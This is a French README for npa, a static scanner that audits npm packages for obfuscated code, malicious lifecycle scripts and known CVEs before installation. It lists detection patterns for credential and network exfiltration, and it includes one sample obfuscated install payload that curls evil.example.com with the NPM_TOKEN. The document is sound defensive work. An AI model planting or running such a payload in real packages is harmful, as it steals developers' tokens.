
Analyse statique de sécurité pour les paquets npm. Détecte le code obfusqué, les patterns malveillants et les vulnérabilités connues avant l'installation.
npm ciZéro dépendance. Uniquement les modules intégrés de Node.js. < 100 kB une fois téléchargé.
npx np-audit scan express
npm install -g np-audit
npa scan # scan all deps
npa install # audit then install
alias npm='npa' # use as drop-in replacement
La détection est répartie en marshallers modulaires — chacun détecte un signal d'attaque unique :
| Marshaller | Ce qu'il détecte | Score |
|---|---|---|
eval/dynamic-exec | eval(), new Function(), eval indirect, vm.*, setTimeout avec une chaîne | 8 |
obfuscator.io | modèles de noms de variables _0x (sortie d'obfuscator.io) | 9–80 |
high-entropy-string | Chaînes longues ou chaînes de concaténation à haute entropie de Shannon | 6 |
hex-escape-density | Séquences d'échappement denses \xNN et \uXXXX | 5–50 |
fromCharCode | String.fromCharCode avec de nombreux arguments, grands tableaux décimaux de codes de caractères | 7 |
encoded-decode | Décodage Base64/hex (atob, Buffer.from) éventuellement combiné avec eval | 3–8 |
child-process | require('child_process'), exec, spawn, fork, worker_threads | 5 |
hex-array | Grand nombre de valeurs littérales hexadécimales 0x | 7–60 |
process-env | accès à process.env (signal d'exfiltration d'identifiants) | 3 |
network-call | require('https'), fetch(), dns, net, tls | 4 |
filesystem-manipulation | fs.writeFile, chmod, symlink (persistance de porte dérobée) | 3–4 |
runtime-download | Télécharge et exécute des runtimes externes (Bun, Deno) |
Les scores évoluent avec la sévérité — un plus grand nombre d'indicateurs d'obfuscation produit des scores plus élevés. Le verdict final repose sur le score individuel le plus élevé parmi tous les marshallers.
Voir CONTRIBUTING.md pour savoir comment écrire des marshallers personnalisés.
Chaque paquet analysé est vérifié par rapport aux bases de données de vulnérabilités connues en plus de l'analyse du code.
Par défaut : OSV.dev (aucune configuration requise)
Fonctionne immédiatement — interroge l'API gratuite OSV.dev pour les vulnérabilités connues et les avis de paquets malveillants.
Optionnel : API Snyk (données plus riches)
# Environment variable
export SNYK_API_TOKEN=your-token-here
# Or via Snyk CLI
snyk auth
Ordre de résolution du jeton : SNYK_API_TOKEN → SNYK_TOKEN → ~/.config/configstore/snyk.json
| Sévérité | Score | Verdict |
|---|---|---|
| Paquet malveillant | 80 | DANGER |
| 10+ vulnérabilités | 6 | WARN |
| 5–9 vulnérabilités | 5 | WARN |
| 1–4 vulnérabilités | 4 | WARN |
Les CVE non malveillantes produisent des avertissements mais ne bloquent jamais l'installation. Seuls les paquets confirmés malveillants déclenchent DANGER.
| Commande | Alias | Description |
|---|---|---|
npa install [package] | npa i | Audit puis exécution de npm install |
npa ci | — | Audit puis exécution de npm ci |
npa scan [package] | npa s | Analyse uniquement, sans installation |
npa config get | npa c get | Afficher la configuration actuelle |
npa config set <key> <value> | npa c set | Mettre à jour une valeur de configuration |
npa alias --install | — | Installer l'alias shell |
npa alias --uninstall | — | Supprimer l'alias shell |
Toute commande non reconnue est transmise à npm (par ex. npa run test, npa publish).
| Option | Alias | Fonctionne avec | Description |
|---|---|---|---|
--review | -r | install, ci | Mode interactif — choisir quels scripts autoriser |
--json | — | install, ci, scan | Sortie JSON lisible par machine |
--no-dev | — | install, ci, scan | Ignorer les devDependencies |
--verbose | — | toutes | Afficher la progression du téléchargement et des détails supplémentaires |
--version | -v | — | Afficher la version et quitter |
--help | -h | — | Afficher l'aide et quitter |
--reviewnpa install --review
npa --review mode
Use ↑/↓ to navigate, SPACE to toggle, ENTER to confirm, q to quit
Found 3 package(s) with install scripts:
[✓ allow] [email protected] postinstall: post-install.js OK
▶ [✗ deny ] [email protected] postinstall: install.js DANGER (score: 9)
[✓ allow] @scope/[email protected] postinstall: install.js WARN (score: 5)
2 allowed 1 denied
La configuration est stockée dans ~/.npmauditor.json (global) et peut être remplacée par projet avec .npmauditor.json.
npa config get # Show current config
npa config set blockScore 6 # Block at score 6+
npa config set skipPackages '["esbuild"]' # Trust specific packages
npa config set skipScopes '["@types"]' # Trust entire scopes
| Clé | Défaut | Description |
|---|---|---|
blockScore | 7 | Seuil de score pour DANGER (code de sortie 1) |
warnScore | 4 | Seuil de score pour WARN (code de sortie 0) |
registry | https://registry.npmjs.org | URL du registre npm |
timeout | 30000 | Délai d'expiration des requêtes HTTP (ms) |
parallelFetches | 5 | Téléchargements simultanés |
skipScopes | [] | Préfixes @scope à ignorer |
skipPackages | [] | Noms de paquets à ignorer |
silent | false | Supprimer la sortie quand aucun problème n'est trouvé |
scanSelf | true | Analyser les scripts de cycle de vie du projet lui-même |
maxTarballSize | 50MB | Taille maximale de l'archive extraite (protection contre les bombes) |
checkVulnerabilities | true | Vérifier les paquets par rapport aux bases de données CVE |
deepResolve | false | Résoudre l'arbre complet des dépendances transitives |
disabledMarshallers | [] | Noms des marshallers à ignorer pendant l'analyse |
Vous pouvez désactiver des contrôles de détection spécifiques en ajoutant leurs noms à disabledMarshallers :
npa config set disabledMarshallers '["process-env", "network-call"]'
Pour voir tous les noms de marshallers disponibles et leur statut actuel :
npa config marshallers
C'est utile lorsqu'un marshaller produit des faux positifs pour votre flux de travail. Les marshallers désactivés sont entièrement ignorés lors de l'analyse statique du code et des vérifications au niveau des paquets.
Utilisez npa comme remplacement transparent de npm :
npa alias --install # adds: alias npm='npa'
source ~/.zshrc # reload shell
Désormais, npm install et npm ci analysent automatiquement. Toutes les autres commandes npm (npm run, npm test, npm publish) sont transmises sans modification.
npa alias --uninstall # remove the alias
package-lock.json (v1/v2/v3) ou résoudre à partir de package.jsonnode_modules)&&/||/;/|, gère node -e, sh -c, les scripts shellrequire()/import à partir de chaque entrée (détection de cycles, limite de 50 fichiers / 5 Mo)Les attaques de la chaîne d'approvisionnement abusent des scripts de cycle de vie npm. Lorsque vous exécutez npm install, tout script preinstall/install/postinstall s'exécute automatiquement. Les attaquants dissimulent leurs charges utiles derrière de l'obfuscation :
var _0x3f2a = ['\x72\x65\x71\x75\x69\x72\x65', '\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73'];
eval(String.fromCharCode(114,101,113,117,105,114,101)+'(\'child_process\').exec(\'curl http://evil.example.com/\'+process.env.NPM_TOKEN)');
Incidents réels :
npa n'exécute jamais les scripts. Il les télécharge et les analyse statiquement.
| Code | Signification |
|---|---|
0 | Tout est propre ou avertissements uniquement |
1 | Un ou plusieurs paquets bloqués |
MIT
| 9–50 |
vscode-autorun | Tâches VS Code avec runOn: folderOpen (exécution automatique) | 30 |
known-vulnerability | CVE connues via l'API Snyk ou OSV.dev | 4–6 (WARN), 80 (malicious) |